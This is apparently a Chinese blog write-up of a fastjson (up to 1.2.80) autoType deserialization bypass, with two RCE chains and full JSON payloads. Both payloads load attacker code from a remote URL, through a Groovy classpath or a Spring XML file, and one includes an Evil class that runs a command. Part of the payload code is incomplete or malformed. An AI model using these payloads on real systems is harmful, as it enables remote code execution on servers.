fastjson \<= 1.2.80
首先还是贴一点前面几篇文章已经提到的分析,作为一点对fastsjon 1.2.80的基础知识,当然,还是不懂得,可以看我有一篇fastjson的分析合集,从fastjson从无到有的漏洞都有。
对上个版本的修复
将期望类java.lang.AutoCloseable
加入了黑名单。
漏洞分析
但是除了AutoCloseable
可以进行绕过,Throwable
也可以进行绕过,简单分析一下。
主要是找到一个Deserializer
可以将expressClass
作为checkAutoType
的参数,且能够突破expressClass的限制,正如这里的ThrowableDeserializer#deserialze
中存在。
这里限制了必须为Throwable
类或子类,存在一个java.lang.Exception
类,不仅在TypeUtils.mappings
中存在,而且没有在黑名单中。
所以只需要找到继承java.lang.Exception
的类,就能够绕过检查,跟进代码,在第一次进入checkAutoType
中的时候expectClass为null,。
一直跟进到这里尝试从mappings中获取缓存。
之后在ParserConfig#getDeserializer
通过clazz获取到了反序列化器为ThrowableDeserializer
。。
之后调用其derserialize
方法,跟进。
之后在这里获取下一个@type
。
最后在这里将java.lang.Exception
类作为expressClass
传入,也能够成功绕过黑名单的检验
因为Exception类也是继承至Throwable
类,所以我们在寻在payload的时候就可以通过寻找Throwable
的子类就可以将特定类添加进入缓存中。
KCON议题分析
其在议题中阐述主要得触发点就是在JSON.toJavaObject
方法中。
他会调用TypeUtils.cast
方法,跟进一下。
将会继续调用cast方法。
之后调用了castToJavaBean
中。
这里通过map.get获取了@type
标志后的对象,这里有一个需要注意的点就是需要将@type
通过"@type":"java.lang.String"
将其转为字符串,不然会将其后面的内容进行反序列化操作,之后将会将其类加入缓存,并且调用了最后的return语句调用castToJavaBean
方法。
也就是上面截图中的方法,他会判断后面的类是不是接口,是不是Locale
类等等,在最后关键的是有一个javaBeanDeserializer的一个获取,对于Exception类来说。
对于Exception
类来说因为继承至Throwable
类,所以其对应的反序列化器就是ThrowableDeserializer
。
特别的,对于这个序列化器,由下图可以很明白的知道他是继承至JavaBeanDeserializer
反序列化器的。
所以最后回到之前讲的castToJavaBean
方法中,就能够满足deserializer instanceof JavaBeanDeserializer
的判断条件,将反序列化其传递给javaBeanDeser
,最后调用了其createInstance
方法,触发了后面的反序列化链。
利用链
RCE1
主要是在Throwable
的子类org.codehaus.groovy.control.CompilationFailedException
类中做文章。
在这个构造方法中存在一个ProcessingUnit
类型的参数unit
,至于为什么选择这个构造方法,而不是下面的两个形参的构造方法呢?这就是因为在JavaBean实例化机制中如果有多个构造方法就会选用形参较多的一个构造方法,回归正题,跟进ProcessingUnit
。
他是一个抽象类,我们找找他的实现。
存在JavaStubCompilationUnit
这样一个子类。
在其构造方法中存在有CompilerConfiguration
类型的config,因为在构造方法中会调用父类的构造方法。
再次调用构造方法。
又调用了他的父类ProcessingUnit
的构造方法。
特别注意,这里能够调用setClassLoader
方法。
因为之前在构造JavaStubCompilationUnit
类的对象的时候我们只传入了一个参数config
,所以这里loader为Null, 创建GroovyClassLoader
类,最后会来到。
从这里我们可以知道,取出了config的classpath值, 添加进入了GroovyClassLoader的classpath中去了,所以回到之前构造confg对象的时候我们可以设置一个远程地址,之后会调用ASTTransformationVisitor#addPhaseOperations
方法。
紧接着调用了addGlobalTransforms
方法,最终会调用到addPhaseOperationsForGlobalTransforms
方法。
在这里他首先通过loadclass方法加载类,之后会判断是否有GroovyASTTransformation
注解,如果没有将会出现异常,之后会将类进行实例化。
payload
```
public class Fj80_POC {
private static String poc1 = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{}\n" +
"}";
private static String poc2 = "{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":\"http://127.0.0.1:9999/\"\n" +
" }\n" +
"}";
/
META-INF/services/org.codehaus.groovy.transform.ASTTransformation
Evil
Evil.class
/
public static void main(String[] args) {
try {
JSON.parseObject(poc1);
} catch (Exception e){}
JSON.parseObject(poc2);
}
}
```
Evil.java
```
import java.io.IOException;
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;
@GroovyASTTransformation
public class EvilObject111 implements ASTTransformation {
public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}
```
RCE2
这条链子主要是在org.python.antlr.ParseException
中,其中存在一个setType方法。
其为PyObject
对象。
浅蓝师傅找到了com.ziclix.python.sql.PyConnection
类继承了PyObject
类,其构造方法中存在java.sql.Connection
的接口。
其中有一个PgConnection类,在其构造方法中,具有ConnectionFactory.openConnection
的调用。
将会来到openConnectionImpl
方法的执行。
调用SocketFactoryFactory.getSocketFactory。
之后取出FactoryClass类名,之后进行实例化,跟进。
如果这里的类名我们定义为org.springframework.context.support.ClassPathXmlApplicationContext
类名,就会实例化这个类。
传入远程的xml文件,将会造成SPEL命令执行。
payload
Spring-Evil.xml
```
<?xml version="1.0" encoding="UTF-8"?>
```
private static String poc1 = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.python.antlr.ParseException\"\n" +
"}";
private static String poc2 = "{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":{\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",{\n" +
" \"@type\":\"java.lang.String\"\n" +
" \"@type\":\"org.python.antlr.ParseException\",\n" +
" \"type\":\"\"\n" +
" }\n" +
" }\n";
private static String poc3 = "{\n" +
" \"@type\":\"org.python.core.PyObject\",\n" +
" \"@type\":\"com.ziclix.python.sql.PyConnection\",\n" +
" \"connection\":{" +
" \"@type\":\"org.postgresql.jdbc.PgConnection\",\n" +
" \"hostSpecs\":[{\"host\":\"127.0.0.1\",\"port\":2333}],\n" +
" \"user\":\"user\",\n" +
" \"database\":\"test\",\n" +
" \"info\":{\n" +
" \"socketFactory\":\"org.springframework.context.support.ClassPathXmlApplicationContext\",\n" +
" \"socketFactoryArg\":\"http://127.0.0.1:9999/spring-Evil.xml\"\n" +
" },\n" +
" \"url\":\"\"\n" +
" }\n" +
"}";
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论